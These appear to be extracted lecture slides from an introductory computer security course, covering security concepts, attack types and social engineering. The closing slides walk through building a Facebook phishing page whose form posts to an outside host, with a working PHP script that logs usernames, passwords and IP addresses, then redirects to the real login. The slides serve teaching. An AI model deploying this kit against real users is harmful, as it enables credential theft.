


Module 10 ï Introduction to Security 

What is security? Why do we need it anyways? 



Roadmap for today: 

ÅModule 10 ï Introduction to Security  

ÅModule 11 - Encryption: Caesar to Public-Key to Quantum 

ÅModule 12 - Code injection: XSS, SQL, buffer overflows 

ÅModule 13 - Reverse-engineering and trojan  horses 

 

Iôd encourage you to follow along with this presentation on your own computer 
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 What is computer security? 

ÅSecurity is preventing users from doing 

unauthorised  things  

ÅIt is also allowing authorised users to do what 

theyôre authorised to do! 

ÅSecurity is a perpetual cat-and-mouse game 

ÅAttackers try to access systems 

ÅSecurity experts try to thwart this  
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What is ñhackingò? 

ÅHacking is, in general, using things for 

something other than what theyôre meant 

for  

ÅComputer hacking isnôt the only kind 

Åñlifehacksò 

ÅRoof & Tunnel Hacking  

ÅElectronics hacking  

ÅItôs a difficult thing to do! 
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Vulnerabilities are everywhere 

ÅThe nature of computer programmes is that the hardware doesnôt care if theyôre 

authorised 

ÅWeôve learned a lot of technologies! Ethernet, IP, TCP, UDP, HTTP, machine code, 
assembly code, shell scripting, python, SSH, HPC schedulers, etcé 

ÅEvery one is a potential means of exploit!  

ÅA good security auditor needs to understand a bit about each to be effective  

Module 10 ï Introduction to Security 



Letôs go back to our original definition: 

ÅSecurity is preventing users from doing unauthorised  things, while also allowing authorised users to do what 

theyôre authorised to do. 

ÅThere are some important general concepts in this 

ÅAuthentication : who is who? Can we prove it? 

ÅE.g. Windows passwords  

ÅAccess control : who can use the system? How do we keep others out? 

ÅE.g. Windows accounts 

ÅAuthorisation : who can do what? How do we enforce it?  

ÅE.g. Administrator/power user accounts  

ÅUse Auditing : how do we stop a legitimate user from abusing his power?  

ÅE.g. Disc/bandwidth quotas  

ÅIntegrity : how can we be sure trusted data hasnôt been altered? 

ÅE.g. checksums! 

ÅAvailability : how can be ensure the system is available when needed? 
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How do attackers try to break a system? 

ÅñBreaking inò: accessing a system the 

attacker doesnôt have access to 

ÅElevation of privileges : doing something 

that user shouldnôt be able to 

ÅDenial -of -service : bringing down a system 

ÅAbuse : using a system for something it 

shouldnôt be used for 

ÅñCrackingò: making a system do something 

it wasnôt supposed to 

ÅSpoofing : claiming to be someone theyôre 

not 
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ÅAuthentication  

 

ÅAccess control  

 

ÅAuthorisation  

 

ÅUse Auditing  

 

ÅIntegrity  

 

ÅAvailability  



We have a lot to worry about here! 

 

 

 

 

 

 

 

 

 

Weôll use today to learn how to do all this! 
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ÅAuthentication  

ÅAccess control 

ÅAuthorisation  

ÅUse Auditing  

ÅIntegrity  

ÅAvailability  



Hardware ï software ï adware ï malware ï cookware ï wetware? 

ÅWetware  is the human mind!  

ÅWetware attacks are the biggest threat to high-security productions  

ÅGetting someone ñon the insideò to give you access to a system 

ÅAsking nicely for a password!  

ÅPretending to be someone youôre not (Microsoft support telemarketers) 

ÅWetware attacks can be online tooé 

ÅPhishing!  
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Phishing duplicates a website ï but steals your information instead  

ÅLetôs try it! 

ÅGo to ñfacebook.comò 

ÅRight -click and  

ñview page sourceò 

ÅCopy that text and save it  

as an html file on your  

desktop 

ÅSearch for ñformò 

ÅThe first hit is the form that  

logs you in!  
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Weôll change this tag in two ways: 

ÅChange the action attribute: 

ÅFrom  https://www.facebook.com/login.php?login_attempt=1  

ÅTo  http://billy.scienceontheweb.net/gen/fbspoof.php  

ÅAdd an input item:  

Å<input type='hidden' name=' pname' value='Your Name' />  

ÅThis changes where to send the submitted form, 

ÅIt also tells the server which one of you entered it! 
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fbspoof.php handles this request: 

 [  

<?php   

file_put_contents (" phish.txt","Name : \ "".$_REQUEST[' pname']." \ "

; Username: \ "".$_REQUEST['email']." \ "; 

Password: \ "".$_REQUEST['pass']." \ "; 

IP:".$_SERVER['REMOTE_ADDR']." 

(". gethostbyaddr ($_SERVER['REMOTE_ADDR'])."); Browser: 

".$_SERVER['HTTP_USER_AGENT']."; 

".(($_SERVER['HTTP_REFERER']=="")?"":("After visiting: 

".$_SERVER['HTTP_REFERER']))." \ n",FILE_APPEND );  

  header("HTTP/1.1 302 Found");  

  header("Location: 

https://www.facebook.com/login.php?login_attempt=1");  

?> 
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